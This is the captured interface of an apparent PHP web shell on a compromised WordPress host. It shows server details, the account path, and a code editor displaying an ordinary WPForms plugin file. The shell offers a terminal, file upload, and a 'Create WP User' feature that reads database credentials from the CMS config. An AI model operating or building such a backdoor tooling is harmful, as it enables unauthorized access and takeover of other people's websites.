Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
AI
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
API
[目录]
drwxr-xr-x
2026-02-24 15:21
Admin
[目录]
drwxr-xr-x
2026-02-24 15:21
AI.php
1.69 KB
-rw-r--r--
2026-05-21 02:24
Helpers.php
2.87 KB
-rw-r--r--
2026-02-24 15:21
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
AI.php
<?php // phpcs:disable Generic.Commenting.DocComment.MissingShort /** @noinspection PhpIllegalPsrClassPathInspection */ /** @noinspection AutoloadingIssuesInspection */ // phpcs:enable Generic.Commenting.DocComment.MissingShort namespace WPForms\Integrations\AI; use WPForms\Integrations\IntegrationInterface; use WPForms\Integrations\AI\Admin\Ajax\Choices as ChoicesAjax; use WPForms\Integrations\AI\Admin\Ajax\Forms as FormsAjax; use WPForms\Integrations\AI\Admin\Builder\Enqueues; use WPForms\Integrations\AI\Admin\Builder\FieldOption; use WPForms\Integrations\AI\Admin\Builder\Forms as FormsEnqueues; use WPForms\Integrations\AI\Admin\Pages\Templates as TemplatesPage; /** * Integration of the AI features. * * @since 1.9.1 */ class AI implements IntegrationInterface { /** * Determine whether the integration is allowed to load. * * @since 1.9.1 * * @return bool */ public function allow_load(): bool { // Always load the Settings class to register the toggle. if ( wpforms_is_admin_page( 'settings', 'misc' ) ) { ( new Admin\Settings() )->init(); } return ! Helpers::is_disabled(); } /** * Load the integration classes. * * @since 1.9.1 */ public function load() { if ( wpforms_is_admin_page( 'builder' ) ) { ( new Enqueues() )->init(); ( new FieldOption() )->init(); ( new FormsEnqueues() )->init(); } if ( wpforms_is_admin_page( 'templates' ) ) { ( new TemplatesPage() )->init(); } if ( wpforms_is_admin_ajax() ) { $this->load_ajax_classes(); } } /** * Load AJAX classes. * * @since 1.9.1 */ protected function load_ajax_classes() { ( new FieldOption() )->init(); ( new ChoicesAjax() )->init(); ( new FormsAjax() )->init(); } }
关闭
保存